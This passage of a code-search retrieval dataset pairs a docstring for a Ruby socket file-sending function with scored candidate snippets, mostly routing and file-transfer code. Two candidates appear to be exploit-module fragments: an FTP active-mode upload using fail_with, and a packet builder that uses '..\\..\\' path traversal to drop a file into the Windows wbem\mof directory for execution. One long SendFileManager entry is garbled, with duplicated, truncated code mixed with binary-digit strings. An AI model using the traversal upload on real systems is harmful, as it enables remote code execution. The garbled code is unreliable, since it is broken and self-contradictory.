"score": "0.537722",
"text": "def long_name\n route_long_name ? route_long_name : name\n end",
"title": ""
},
{
"docid": "332e3ad3e2a64540f1552a420e868981",
"score": "0.5362745",
"text": "def inspect_class_name\n s = \"#{self.class.name.split('::').last.sub(/Route$/, '')}\"\n s = \"#{s} #{ info }\" if info\n s\n end",
"title": ""
},
{
"docid": "332e3ad3e2a64540f1552a420e868981",
"score": "0.5361851",
"text": "def inspect_class_name\n s = \"#{self.class.name.split('::').last.sub(/Route$/, '')}\"\n s = \"#{s} #{ info }\" if info\n s\n end",
"title": ""
},
{
"docid": "8fc16b1e66b26fda9e79b517c59c7b0e",
"score": "0.53601867",
"text": "def route(routing_code, namespace: T.unsafe(nil)); end",
"title": ""
},
{
"docid": "013a23543826c996aef41d787303ee0f",
"score": "0.5358372",
"text": "def trn\n get :trn\n end",
"title": ""
},
{
"docid": "b5312162ed10d0eb427ac0b00dbd2df7",
"score": "0.53518474",
"text": "def api_res (name)\n scope '/' + name + '/' do\n post '/create', as: '', to: 't_api/' + name + '#create'\n post '/update', as: '', to: 't_api/' + name + '#update'\n post '/destroy', as: '', to: 't_api/' + name + '#destroy'\n post '/restore', as: '', to: 't_api/' + name + '#restore'\n\n # TODO: Temporary. Delete POST in release\n match '/', as: '', to: 't_api/' + name + '#index', via: [:get, :post]\n match '/:id', as: '', to: 't_api/' + name + '#show', via: [:get, :post]\n end\n end",
"title": ""
},
{
"docid": "db470866fdc3fc2085b2898b5e5657e5",
"score": "0.53473324",
"text": "def api_endpoint\n \"#{name.split('::').last.downcase}s\"\n end",
"title": ""
},
{
"docid": "0b9ed57147d3e389465ccaef39f30ce8",
"score": "0.53462183",
"text": "def api_path\n \"/#{api_name}s\"\n end",
"title": ""
},
{
"docid": "a29b6109900f93bd9c22e6de20dfb659",
"score": "0.53427386",
"text": "def url\n \"/api/triples/#{self.id}\"\n end",
"title": ""
},
{
"docid": "6fc1f4ece46f670c3d2272379b6b9424",
"score": "0.53418416",
"text": "def url\n\t\t\"#{base_url}/#{kind.pluralize}/#{id}\"\n\tend",
"title": ""
},
{
"docid": "6fc1f4ece46f670c3d2272379b6b9424",
"score": "0.53418416",
"text": "def url\n\t\t\"#{base_url}/#{kind.pluralize}/#{id}\"\n\tend",
"title": ""
},
{
"docid": "1035a994f1880a05100bee528c8af62d",
"score": "0.53410405",
"text": "def print_diagnostics_on_route_entry\n # for the full url: puts request.url\n # for printing part of the url: puts request.fullpath\n # for printing just the path info: puts request.path_info\n\n puts \"ENTERING ROUTE: \"+ request.path_info\n params.each { |k, v|\n puts request.path_info + ': ' + k.to_s + ' ====> ' + v.to_s\n }\n end",
"title": ""
},
{
"docid": "c30c67b2e5cffa508eccf2fb220b8404",
"score": "0.5333368",
"text": "def route_key\n i18n_key.en.plural\n end",
"title": ""
},
{
"docid": "53b598324c82413721bc9cf1f8f76cd3",
"score": "0.5327615",
"text": "def path\n \"#command=show¶meters=id%3D#{self.id}%26model%3D#{self.class.name.capitalize}\"\n end",
"title": ""
},
{
"docid": "43776a732c636913b94bff5478e5da8d",
"score": "0.53273666",
"text": "def display_uri; end",
"title": ""
},
{
"docid": "43776a732c636913b94bff5478e5da8d",
"score": "0.53273666",
"text": "def display_uri; end",
"title": ""
},
{
"docid": "3d481d3d488fd042186e6dbef4ea7a37",
"score": "0.53262424",
"text": "def generate_info( routes_info )\n if routes_info\n extractor = get_controller_extractor\n @description = extractor.get_resource_info['description'] if extractor\n @actions_doc = get_actions_doc( routes_info, extractor )\n\n # template need that description will be an array\n @description = [ @description ] unless @description.class == Array\n end\n end",
"title": ""
},
{
"docid": "ae62b1b0ef15fffc67a5cb42fd9fe3bb",
"score": "0.5319804",
"text": "def add_resource_route\n \n end",
"title": ""
},
{
"docid": "eb29f9c345c7171584efb9fe922a123d",
"score": "0.53148115",
"text": "def route_to(uri); end",
"title": ""
}
] |
610906ebf8987d94600542753ab85c58
|
FUNCTION: sendThread LAST REVISION: September 29, 2014 DESIGNER: Callum Styan PROGRAMMER: Callum Styan INTERFACE: sendThread(fName, filesize, sock) fName: name of the file we requested from the server filesize: size of the file we requested from the server sock: socket for the transfer of file data NOTES: This function handles sending all file data to the server. It opens a file and then loops to send data to the socket until the entire file has been sent. The function is called sendThread but is not run in it's own thread, this is planning ahead in case we want multithread to allow multiple file transfers client side concurrently.
|
[
{
"docid": "3db976146dd655cf7d101eb62a359c02",
"score": "0.8158003",
"text": "def sendThread (cmdSock, sock, fName)\n\tpath = File.expand_path(\"..\", Dir.pwd) + \"/testFiles/\" + fName\n\tbegin\n\t\tFile.open(fName, \"rb\") do |file|\n\t\t\tcmdSock.puts(file.size)\n\t\t\twhile data = file.gets do\n\t\t\t\tsock.puts(data)\n\t\t\tend\n\t\tend\n\t\tputs \"Done sending file!\"\n\trescue SystemCallError\n\t\traise StandardError\n\t\tputs \"Unable to open file\"\n\t\t#notify client of invalid file name\n\t\tsock.puts(\"0\")\n\t\tsock.puts(\"Error opening file, make sure the\"\\\n\t\t\t\" file you're trying to open exists (LIST command)\")\n\tend\nend",
"title": ""
}
] |
[
{
"docid": "96e58448ee4d943770e926eb7e85dcd6",
"score": "0.81271315",
"text": "def sendThread(cmdSock, sock, fName)\n\tsize = 1024\n\tputs \"Sending a file\"\n\tpath = File.expand_path(\"..\", Dir.pwd) + \"/testFiles/\" + fName\n\tfExists = File.exists?(path)\n\t#if the file exists attempt to open it and send to client\n\tif fExists == true\n\t\tbegin\n\t\t\t#notify client of valid file name\n\t\t\tcmdSock.puts(\"1\")\n\t\t\tFile.open(path, \"rb\") do |file|\n\t\t\t\tcmdSock.puts(file.size)\n\t\t\t\twhile data = file.gets do\n\t\t\t\t\tsock.puts(data)\n\t\t\t\tend\n\t\t\tend\n\t\t\tputs \"done sending file\"\n\t\trescue SystemCallError\n\t\t\traise StandardError\n\t\t\tputs \"Unable to open file\"\n\t\t\t#notify client of invalid file name\n\t\t\tcmdSock.puts(\"0\")\n\t\t\tcmdSock.puts(\"Error opening file, make sure the\"\\\n\t\t\t\t\" file you're trying to open exists (LIST command)\")\n\t\tend\n\telse\n\t\tputs \"file doesn't exist\"\n\t\t#notify client of invalid file name\n\t\tcmdSock.puts(\"0\")\n\t\tcmdSock.puts(\"Requested file does not exist, check the available\"\\\n\t\t\t\" files (LIST command)\")\n\tend\nend",
"title": ""
},
{
"docid": "e39c72f33f1e06996a4ca984af6333e8",
"score": "0.7468145",
"text": "def recvThread(cmdSock, sock, fName)\n\tputs \"Recieving a file\"\n\tpath = File.expand_path(\"..\", Dir.pwd) + \"/testFiles/\" + fName\n\tfExists = File.exists?(path)\n\t#if the file does not exist accept the file from the client\n\tif fExists == false\n\t\t#notify client we're accepting their file\n\t\tcmdSock.puts(\"1\")\n\t\tfilesize = cmdSock.gets.chomp\n\t\trun = 1\n\t\tcurrentSize = 0\n\t\tFile.open(path, 'wb') do |file|\n\t\t\twhile run == 1\n\t\t\t\t#read data from socket and update current size of download\n\t\t\t\tdata = sock.gets\n\t\t\t\tdata = sock.gets\n\t\t\t\t#for some reason this check is necessary when\n\t\t\t\t#transferring mp3 files\n\t\t\t\tif data.class == NilClass\n\t\t\t\t\trun = 0\n\t\t\t\t\tnext \n\t\t\t\tend\n\t\t\t\tsize = data.size\n\t\t\t\tcurrentSize += size\n\t\t\t\t#write data to file\n\t\t\t\tfile.write(data)\n\t\t\t\tif currentSize == filesize.to_i\n\t\t\t\t\trun = 0\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tputs \"Done recieving file!\"\n\telse\n\t\tputs \"Client is trying sending a file we already have\"\n\t\tcmdSock.puts(\"0\")\n\t\tcmdSock.puts(\"The file you're tryng to send already exists\" \\\n\t\t\t\" on the server (LIST command)\")\n\t\tputs \"test\"\n\tend\nend",
"title": ""
},
{
"docid": "68e4c96295969c6709b3bf7d7ae9cd43",
"score": "0.73696303",
"text": "def recvThread (fName, filesize, sock)\n\tcurrentSize = 0\n\t#amount to read\n\tsize = 1024\n\tputs \"Starting to read file data from socket\"\n\trun = 1\n\tFile.open(fName, 'wb') do |file|\n\t\tputs \"File is downloading . . . \"\t\t\n\t\twhile run == 1\n\t\t\tdata = sock.gets\n\t\t\t#for some reason this check is necessary when\n\t\t\t#transferring mp3 files\n\t\t\tif data.class == NilClass\n\t\t\t\trun = 0\n\t\t\t\tnext \n\t\t\tend\n\t\t\tsize = data.size\n\t\t\tcurrentSize += size\n\t\t\t#write data to file\n\t\t\tfile.write(data)\n\t\t\tif currentSize == filesize.to_i\n\t\t\t\trun = 0\n\t\t\tend\n\t\tend\n\t\tputs \" \t\"\n\tend\n\tputs \"End of file download!\"\nend",
"title": ""
},
{
"docid": "bfdfdf1aaa1ac6c984fbb7732b38a2e6",
"score": "0.68983793",
"text": "def transfer file\n stop_timeout\n\n @number += 1\n\n @type = :sending\n @file = file\n\n\t @file.seek 0, IO::SEEK_END\n @filesize = file.tell\n\t @file.seek 0, IO::SEEK_SET\n @total_frames = (@filesize.to_f / @options[:frame_size].to_f).ceil\n\n puts \"Sending file (#{@filesize} bytes)\"\n\n # Set up how much do we currently have (outside of the window)\n @delivered = 0\n\n # window number\n @window = 0\n @current_frame = 0\n @next_frame = 0\n @sum_buffer_len = 0\n @max_buffer_len = 0\n @buffer_len = 0\n\n @buffer = Array.new(@options[:window_size] * 2) { nil }\n @sent = Array.new(@options[:window_size] * 2) { 0 }\n\n start_timeout\n\n send_window\n end",
"title": ""
},
{
"docid": "1c652086d99450bf42f07ffc60e95b8b",
"score": "0.6232172",
"text": "def send_bytes(file)\n until file.eof?\n buffer = file.read(1024)\n @socket.write(buffer)\n end\n end",
"title": ""
},
{
"docid": "0b9540fc3a66d5a40c6557f4a088346b",
"score": "0.6131604",
"text": "def sendCmd (cmdSock, sock, fName)\n\t#send command and file name\n\tcmdSock.puts('SEND')\n\tcmdSock.puts(fName)\n\tresponse = cmdSock.gets.chomp\n\n\tcase response\n\twhen '1'#success\n\t\t#start a new thread for data transfer\n\t\tsendThread(cmdSock, sock, fName)\n\twhen '0'#failure (file already exists)\n\t\tresponse = cmdSock.gets.chomp\n\t\tputs response\n\tend\nend",
"title": ""
},
{
"docid": "aab239bd8b47c77e2edf8a24f4ced266",
"score": "0.58581865",
"text": "def receive filename, filesize\n stop_timeout\n\n @number += 1\n\n @type = :receiving\n \n # Open the file\n if filename.nil?\n # will be printing to screen\n @file = StringIO.new \"\"\n else\n puts \"Opening #{filename} for writing...\"\n @file = File.new filename, \"w+\"\n end\n @filesize = filesize\n @total_frames = (@filesize.to_f / @options[:frame_size].to_f).ceil\n\n puts \"Receiving file (#{filesize} bytes)\"\n\n # Set up how much do we currently have (outside of the window)\n @delivered = 0\n\n @window = 0\n @current_frame = 0\n @next_frame = 0\n @sum_buffer_len = 0\n @max_buffer_len = 0\n @buffer_len = 0\n\n @buffer = Array.new(@options[:window_size] * 2) { nil }\n @sent = Array.new(@options[:window_size] * 2) { 0 }\n\n start_timeout\n\n receive_window\n end",
"title": ""
},
{
"docid": "77b2d7c5a20f197a0c8ee510995e3a21",
"score": "0.5825044",
"text": "def command_put filename, filesize\n filename = Server.absolute_path(@directory.path, filename)\n puts \"Receiving #{filename}\"\n\n @client.puts \"OK\"\n\n @data_connection.receive filename, filesize.to_i\n end",
"title": ""
},
{
"docid": "6fb99af530175b8908ed7854b7b89e0b",
"score": "0.57418567",
"text": "def send_file(file, remotefile = File.basename(file))\n begin\n @ftp.putbinaryfile(file, remotefile)\n return true\n rescue Exception => e\n error_message(e)\n return false\n end\n end",
"title": ""
},
{
"docid": "1b16f51f0b8d45ce5cad1f0a44d471fd",
"score": "0.5695607",
"text": "def upload(filename)\r\n select(nil, nil, nil, 1)\r\n\r\n peer = \"#{rhost}:#{rport}\"\r\n print_status(\"#{peer} - Trying to upload #{::File.basename(filename)}\")\r\n conn = connect(false, datastore['VERBOSE'])\r\n if not conn\r\n fail_with(Exploit::Failure::Unreachable, \"#{@peer} - Connection failed\")\r\n end\r\n\r\n # Switch to binary mode\r\n print_status(\"#{peer} - Set binary mode\")\r\n send_cmd(['TYPE', 'I'], true, conn)\r\n\r\n # Prepare active mode: Get attacker's IP and source port\r\n src_ip = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST']\r\n src_port = datastore['SRVPORT'].to_i\r\n\r\n # Prepare active mode: Convert the IP and port for active mode\r\n src_ip = src_ip.gsub(/\\./, ',')\r\n src_port = \"#{src_port/256},#{src_port.remainder(256)}\"\r\n\r\n # Set to active mode\r\n print_status(\"#{peer} - Set active mode \\\"#{src_ip},#{src_port}\\\"\")\r\n send_cmd(['PORT', \"#{src_ip},#{src_port}\"], true, conn)\r\n\r\n # Tell the FTP server to download our file\r\n send_cmd(['STOR', filename], false, conn)\r\n\r\n print_good(\"#{peer} - Upload successful\")\r\n disconnect(conn)\r\n end",
"title": ""
},
{
"docid": "218613bed84fce5840544ecfd6db4133",
"score": "0.56038654",
"text": "def send_file(path); end",
"title": ""
},
{
"docid": "0bf9d80c91e39aca39c7d6ab73bd78bc",
"score": "0.5552763",
"text": "def send_file(client, current_path, input, client_port)\n\n\tif(File.exist?(\"#{current_path}/files/#{input}\"))\n\t\t\tclient.puts \"\\nFile already exists on server\"\n\telse\n\t\tclient.puts \"receiving\"\n\n\t\tclient_serv = TCPSocket.new(\"#{client.peeraddr[3]}\", client_port)\n\t\tclient_serv.puts \"#{input}\"\n\n\t\tfile_bool = client_serv.gets.chomp\n\t\tif(file_bool == \"false\")\n\n\t\telse\n\t\t\treceived_file = File.open(\"#{current_path}/files/#{input}\", \"wb\")\n\n\t\t\tfilecontent = client_serv.read \n\t\t\treceived_file.print filecontent\t \t\t\t\n\t\t\treceived_file.close\n\t\t\tclient_serv.close\n\n\t\t\tputs \"File #{input} Received\"\n\t\tend\n\tend\nend",
"title": ""
},
{
"docid": "3c4b09f2c4d52e56c07055cddfc76b42",
"score": "0.55299866",
"text": "def run\n loop do\n #Kernel.exit\n if @workQ.size < (@pool_size-1)\n Thread.start(@fileServer.accept) do | client |\n @workQ.push 1\n message_handler(client)\n @workQ.pop(true)\n end\n else\n # if thread pool is full\n sleep 5 \n client.close\n end\n end\n end",
"title": ""
},
{
"docid": "01698c4bd6cfe7de5e395d3479cc74ef",
"score": "0.55067265",
"text": "def sendCmd (fName, cmdSock, sock)\n\tputs \"Client sent a send command\"\n\trecvThread(cmdSock, sock, fName)\nend",
"title": ""
},
{
"docid": "084ed85294bd84e144257733726af2ce",
"score": "0.54893756",
"text": "def announce_filetransfer(filename = nil)\n raise ArgumentError, \"you must specify a filename\" if filename.nil?\n \n client_hostname = Socket.gethostname\n @log.debug \"We are #{client_hostname}\"\n \n filename = \"/\" + filename if filename[0] != \"/\" # Ensure leading slash\n \n @log.debug \"SENDING: ANN FileTransfer #{client_hostname}#{FIELD_SEPARATOR}#{filename}\"\n send(\"ANN FileTransfer #{client_hostname}#{FIELD_SEPARATOR}#{filename}\")\n response = recv\n \n @log.debug \"announce_filetransfer got : #{response.inspect}\"\n # Should get back something like:\n # OK[]:[]<socket number>[]:[]<file size high 32 bits>[]:[]<file size low 32 bits>\n unless response[0] =~ /OK/i\n close\n raise CommunicationError, response.join(\": \")\n else\n @filetransfer_port = response[1]\n @filetransfer_size = [response[3].to_i, response[2].to_i].pack(\"ll\").unpack(\"Q\")[0]\n @connection_type = :filetransfer # Not currently used, but may be in later versions\n end\n \n @log.debug \"filetransfer_size : #{@filetransfer_size}\"\n end",
"title": ""
},
{
"docid": "0e0edbd21ffe74b23d67d2d2bbefc8e1",
"score": "0.5462919",
"text": "def header_udp package_number, file_size, signal=\"send\"\n file_size = \"%0#{@header_file_size}b\" % file_size\n number_package = \"%0#{@header_number_package_size}b\" % package_number\n eof = \"0\" if signal == \"send\"\n eof = \"1\" if sd\nclass SendFileManager\n def initialize(socket, address=nil)\n @package_size = 1024\n @address = address\n # @header_package_data = 60\n @header_file_size = 60\n @header_number_package_size = 20\n @h000000000000000000000000000000000000000000010111000110111101eader_eof_size = 1\n @header_size = @header_file_size + @header_number_package_size + @hea\n def send_file file_name, file_position=0\n file = open(\"./#{file_name}\", \"rb\")\n send_size = file_position.to_i\n file.pos = file_position.to_i\n #wait_signal_int(send_size)\n # binding.pry\n while file.size > send_size\n package_data = file.read(@package_size-@header_file_size)\n puts package_data.size\n binding.pry if file.eof?\n package_header = file.eof? ? header(file.size, \"eof\") : header(file.size)\n puts package_header + package_data\n send_size += @socket.send(package_header + package_data, 0)\n \n send_size -= package_header.size\n \n end\n binding.pry\n file.close\n message = @socket.recv(50)\n answer, file_size = message.split\n if answer == 'success'\n puts \"File #{file_name} successfully uploaded!\"\n return true\n el000000000000000000000000000000000000000000010111000110111101se\n send_file(file_name, file_size)\n return false\n end \n end\n \n def wait_sd message OOB'\n puts \"Sent #{send_size} bytes to socket\"\n @socket.send(@oob_char, Socket::MSG_OOB)\n end\n end \n \n def header file_size, signal=\"send\"\n header = \"%0#{@header_file_size}b\" % file_size\n puts header.size\n header[0] = \"0\" if signal == \"send\"\n header[0] = \"1\" if signal == \"eof\"\n header\n end\n\n def send_file_udp file_name,en(\"./#{file_name}\", \"rb\")\n packages_count = (file.size / (@package_size-@header_size).to_f).ceil\n numbers_packages_to_upload = []\n 0.upto(packages_count-1) do |number|\n numbers_packages_to_upload.push(number) unless numbers_downloaded_packages.include?(number)\n end\n send_size = file_position.to_i\n file.pos = file_position.to_i\n numbers_packages_to_upload.each000000000000000000000000000000000000000000010111000110111101 do |package_number|\n file.pos = package_number * (@package_size-@header_size)\n package_data = file.read(@package_size-@header_size)\n package_header = file.eof? ? header_udp(package_number, numbers_packages_to_upload.size, \"eof\") : header_udp(package_number, numbers_packages_to_upload.size)\n package = package_header + package_data\n send_size += @address? @socket.send(package,0,@address) : @socket.send(package,0)\n send_size -= package_header.size\n end\n file.close\n message =s = message.split\n if answer == 'success'\n puts \"File #{file_name} successfully uploaded!\"\n return true\n else\n numbers_packages = numbers_packages.map {|numb| numb.to_i} + numbers_downloaded_packages\n send_file_udp(file_name, file_size, numbers_packages)\n return false\n end\n end\n\n def send_file_udp_server file_name, file_positi000000010111000110111101ackages=[]\n\n file = open(\"./#{file_name}\", \"rb\")\n packages_count = (file.size / (@package_size-@header_size).to_f).ceil\n numbers_packages_to_upload = []\n 0.upto(packages_count-1) do |number|\n numbers_packages_to_upload.push(number) unless numbers_downloaded_packages.include?(number)\n end\n send_size = file_position.to_i\n file.pos = file_position.to_i\n numbers_packages_to_upload.each do |package_number|\n file.pos = package_number * (@package_size-@header_size)\n package_data = file.read(@package_size-@header_size)\n package_header = file.eof? ? header_udp(package_number, numbers_packages_to_upload.size, \"eof\") : header_udp(package_number, numbers_packages_to_upload.size)\n send_size += @socket.send(package_header + package_data, 0)\n send_size -= package_header.size\n end\n file.close\n message = @socket.recv(80000)\n answer, file_size, *numbers_packages = message.split\n 000000010111000110111101'\n puts \"File #{file_name} successfully uploaded!\"\n return true\n else\n numbers_packages = numbers_packages.map {|numb| numb.to_i} + numbers_downloaded_packages\n send_file_udp(file_name, file_size, numbers_packages)\n return false\n end\n end\n #header size = 60\n def header_udp package_number, file_size, signaze\n number_package = \"%0#{@header_number_package_size}b\" % package_number\n eof = \"0\" if signal == \"send\"\n eof = \"1\" if signal == \"eof\"\n file_size + number_package + eof\n end\nend\nclass SendFileManager\n def initialize(socket, address=nil)\n @package_size = 1024\n @address = address\n # @header_package_data = 60\n @header_file_size = 60\n @header_number_package_size = 20\n @header_eof_size = 1\n @header_size = @header_file_size + @header_number_package_size + @header_eof_size\n @oob_char = '!'\n @socket = socket\n end\n\n def send000000000000000000000000000000000000000000010111000110111101_file file_name, file_position=0\n file = open(\"./#{file_name}\", \"rb\")\n send_size = file_position.to_i\n file.pos = file_position.to_i\n #wait_signal_int(send_size)\n # binding.pry\n while file.size > send_size\n package_data = file.read(@package_size-@header_file_size)\n puts package_data.size\n binding.pry if fi \"eof\") : header(file.size)\n puts package_header + package_data\n send_size += @socket.send(package_header + package_data, 0)\n \n send_size -= package_header.size\n \n end\n binding.pry\n file.close\n message = @socket.recv(50)\n answer, file_size = message.split\n if answer == 'success'\n puts \"File #{file_name} successfull_name, file_size)\n return false\n end \n end\n \n def wait_signal_int send_size\n Signal.trap(:INT) do\n puts 'Send message O000000000000000000000000000000000000000000010111000110111101OB'\n puts \"Sent #{send_size} bytes to socket\"\n @socket.send(@oob_char, Socket::MSG_OOB)\n end\n end \n \n def header file_size, signal=\"send\"\n header = \"%0#{@header_file_size}b\" % file_size\n puts header.size\n header[0] = \"0\" if signal == \"send\"\n header[0] = \"1\" if signal == \"eof\"\n header\n end\n\n def send_file_udp file_name, file_position, numbers_downloaded_packages=[]\n file = open(\"./#{file_name}\", \"rb\")\n packages_count = (file.size / (@package_size-@header_size).to_f).ceil\n numbers_packages_to_upload = []\n 0.upto(packages_count-1) do |number|\n numbers_packages_to_upload.push(number) unless numbers_downloaded_packages.include?(number)\n end\n send_size = file_position.to_i\n file.pos = file_position.to_ file.pos = package_number * (@package_size-@header_size)\n package_data = file.read(@package_size-@header_size)\n package_header000000000000000000000000000000000000000000010111000110111101 = file.eof? ? header_udp(package_number, numbers_packages_to_upload.size, \"eof\") : header_udp(package_number, numbers_packages_to_upload.size)\n package = packet.send(package,0,@address) : @socket.send(package,0)\n send_size -= package_header.size\n end\n file.close\n message = @socket.recv(80000)\n answer, file_size, *numbers_packages = message.split\n if answer == 'success'\n puts \"File #{file_name} successfully uploaded!\"\n return true\n else\n numbers_packages = numbers_packages.map {|numb| numb.to_i} + numbers_downloaded_packages\n send_file_udp(file_name, file_size, numbers_packages)\n return false\n end\n end\n\n def send_file_udp_server file_name, file_position, numbers_downloaded_packages=[]\n\n file = open(\"./#{file_name}\", \"rb\")\n packages_count = (file.size / (@package_size-@header_size).to_f).ceil\n numbers_packages_to_upload = []\n 000000000000000000000000000000000000000000010111000110111101 0.upto(packages_count-1) do |number|\n numbers_packages_to_upload.push(number) unless numbers_downloaded_packages.include?(number)\n end\n send_size = firs_packages_to_upload.each do |package_number|\n file.pos = package_number * (@package_size-@header_size)\n package_data = file.read(@package_size-@header_size)\n package_header = file.eof? ? header_udp(package_number, numbers_packages_to_upload.size, \"eof\") : header_udp(package_number, numbers_packages_to_upload.size)\n send_size += @socket.sende_header.size\n end\n file.close\n message = @socket.recv(80000)\n answer, file_size, *numbers_packages = message.split\n if answer == 'success'\n puts \"File #{file_name} successfully uploaded!\"\n return true\n else\n numbers_packages = numbers_packages.map {|numb| numb.to_i} + numbers_downl000000000000000000000000000000000000000000010111000110111101oaded_packages\n send_file_udp(file_name, file_size, numbers_packages)\n return false\n end\n end\n #header size = 60\n def header_udp package_number, file_size, signal=\"send\"\n file_size = \"%0#{@header_file_size}b\" % file_size\n number_package = \"%0#{@header_number_package_size}b\" % package_number\n eof = \"0\" if signal == \"send\"\n eof = \"1\" if signal == \"eof\"\n file_size + number_package + eof\n end\nend",
"title": ""
},
{
"docid": "6dadc70d68a1e8fbf743890133801ebd",
"score": "0.5459031",
"text": "def send_dat(*args)\n debug \"send_dat: args is #{args}\"\n opts = {}\n if args.length > 0 and args[0].class == 'Hash'\n opts = args[0]\n end\n\n unless opts.key?(:resend) and opts[:resend]\n blksize = @options[:blksize].to_i\n debug \"Reading #{blksize} bytes from file #{@filename}\"\n @buffer = @file.read(blksize)\n debug \"@buffer is now #{@buffer.class}\"\n debug \"Read #{@buffer.length} bytes into buffer\"\n if @file.eof\n info \"End of file #{@filename} detected.\"\n @file.close\n @state = :fin\n end\n\n @blocknumber += 1\n if @blocknumber > MaxBlockNum\n debug \"Blocknumber rolled over to zero\"\n @blocknumber = 0\n end\n else\n warn \"Resending block number #{@blocknumber}\"\n end\n\n dat = TftpPacketDAT.new\n dat.data = @buffer\n dat.blocknumber = @blocknumber\n debug \"Sending DAT packet #{@blocknumber}\"\n @sock.send(dat.encode.buffer, 0, @host, @port)\n @timesent = Time.now\n end",
"title": ""
},
{
"docid": "524a4e688c77d5776bd1afc5f3c97b47",
"score": "0.54490525",
"text": "def ssh_send_file_ruby(host, username, command, filename)\n filename = File.expand_path(filename)\n ssh_ruby(host, username, command) do |channel|\n File.open(filename, 'rb') do |file|\n file.chunk(1024) do |chunk|\n channel.send_data chunk\n end\n end\n end\n end",
"title": ""
},
{
"docid": "9626c6620313b276a50a20376c56c339",
"score": "0.54276705",
"text": "def upload_file(remote_filepath, remote_filename, local_filedata = null)\r\n magic_code = \"\\xdd\\xdd\"\r\n opcode = [6].pack('L')\r\n\r\n # We create the filepath for the upload, for execution it should be \\windows\\system32\\wbem\\mof\\<file with extension mof!\r\n file = \"..\\\\..\\\\\" << remote_filepath << remote_filename << \"\\x00\"\r\n pkt_size = local_filedata.size() + file.size() + (0x108 - file.size()) + 4\r\n\r\n # Magic_code + packing + size\r\n pkt = magic_code << \"AAAAAAAAAAAA\" << [pkt_size].pack('L')\r\n\r\n tmp_pkt = opcode << file\r\n tmp_pkt += \"\\x00\"*(0x108 - tmp_pkt.size) << [local_filedata.size].pack('L') << local_filedata\r\n pkt << tmp_pkt\r\n\r\n print_status(\"Starting upload of file #{remote_filename}\")\r\n connect\r\n sock.put(pkt)\r\n disconnect\r\n\r\n print_status(\"File uploaded\")\r\n end",
"title": ""
},
{
"docid": "8bcbe4b3a734ebc3b7555b0601d6b7d3",
"score": "0.5409282",
"text": "def send_file(path, options = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "a67c968d0598e46e33863824ec8b83f9",
"score": "0.5403846",
"text": "def stream(filename, options = {}, &block)\n \n # Initialise a new connection of connection_type => :filetransfer\n data_conn = Backend.new(:host => @host,\n :port => @port,\n :status_port => @status_port,\n :protocol_version => @protocol_version,\n :connection_type => :filetransfer,\n :filename => filename)\n \n ft_port = data_conn.filetransfer_port\n ft_size = data_conn.filetransfer_size\n \n @log.debug \"ft_port is #{ft_port}\"\n \n blocksize = options.has_key?(:transfer_blocksize) ? options[:transfer_blocksize] : TRANSFER_BLOCKSIZE\n\n total_transfered = 0\n\n if ft_size == 0\n stream_infinite = true\n else\n stream_infinite = false\n end\n\n begin\n # While we still have data to fetch\n while total_transfered < ft_size || stream_infinite\n # Make a request for the backend to send data\n query_filetransfer_transfer_block(ft_port, blocksize)\n\n # Collect the socket data in a string\n buffer = \"\"\n \n while buffer.length < blocksize\n bytes = data_conn.socket.recv(blocksize)\n\n # Stop if we've not got any data this time round. EOF?\n break if bytes.length < 1\n\n buffer += bytes\n \n # Special case for when the remainer to fetch is less than TRANSFER_BLOCKSIZE\n break if total_transfered + buffer.length == ft_size\n end\n\n # Yield into the given block to allow the user to process as a stream\n yield buffer\n \n total_transfered += buffer.length\n \n # If the user has only asked for a certain amount of data, stop when we hit this\n break if options[:max_length] && total_transfered > options[:max_length]\n end\n ensure\n # We need to close the data connection regardless of what is going on when we yield\n data_conn.close\n end\n \n end",
"title": ""
},
{
"docid": "c3dab5026fad52fbcd340bc9f6a8eaa0",
"score": "0.5393935",
"text": "def run\n loop do\n #Kernel.exit\n if @workQ.size < (@pool_size-1)\n Thread.start(@fileServer.accept) do | client |\n @workQ.push 1\n message_handler(client)\n @workQ.pop(true)\n end\n else\n # if thread pool is full\n puts 'Thread pool full wait 5'\n sleep 5 \n client.close\n end\n end\n end",
"title": ""
},
{
"docid": "385d219443830b429dda2e848dfead56",
"score": "0.5381528",
"text": "def send_file(path)\n\n @buffer = File.read(path)\n send\n end",
"title": ""
},
{
"docid": "2877e6efe64fb977e07bf662d9313f57",
"score": "0.5380467",
"text": "def send_file(src, dst)\n uploaded = false\n Net::SCP.start(@host, @user, password: @password, port: @port) do |scp|\n scp.upload! src, dst do |ch, name, sent, total|\n uploaded = true if sent == total\n end\n end\n return uploaded\n end",
"title": ""
},
{
"docid": "f9ae70cb5c2c1ac2172ce5e9f86acb01",
"score": "0.53518826",
"text": "def upload(src, dst)\n\t# src: the file to be transferred \n\t# dst: the location to transfer the file to \n\t# function that will upload a file to a dropbox location\n\t# returns a boolean indicating if it succeeded\n\n\t# A single request should not upload more than 150 MB. \n\t# The maximum size of a file one can upload to an upload session is 350 GB.\n\n\t# check if src is greater than or equal to 350 GB\n\tif File.size(src) >= 350000000000\n\t\tputs \"error: local file is too large to upload\"\n\t\treturn false\n\tend\n\n\t# start an upload session\n\tbase_url = \"https://content.dropboxapi.com/2/files/upload_session/\"\n\tstart_endpoint = \"start\"\n\tstart_uri = URI(base_url+start_endpoint)\n\tresponse = Net::HTTP.get_response(start_uri)\n\tsession_id = nil\n\t# upload file\n\tupload_endpoint = \"append_v2\"\n\tclose = false\n\tfd = IO.sysopen(src)\n\tio_reader = IO.new(fd)\n\twhile !close do \n\t\tbegin\n\t\t\tfile_content_chunk = io_reader.sysread(140000000) # read in 140 MB at a time since 150 is the cut off\n\t\t\tputs file_content_chunk\n\t\trescue EOFError\n\t\t\t# there is no more data to read \n\t\t\tclose = true\n\t\tend\n\t\tif file_content_chunk.length < 140000000\n\t\t\t# there was less than our maximum chunk size of data\n\t\t\tclose = true\n\t\tend\n\t\t# send data here\n\t\tupload_uri = URI(base_url+upload_endpoint)\n\t\tupload_uri.query = URI.encode_www_form({ \"content\" => file_content_chunk, \"close\" => close })\n\t\tresponse = Net::HTTP.get_response(upload_uri)\n\tend\n\tio_reader.close\n\treturn true\nend",
"title": ""
},
{
"docid": "01f2878d66632c8bace6325ef39e167e",
"score": "0.5348529",
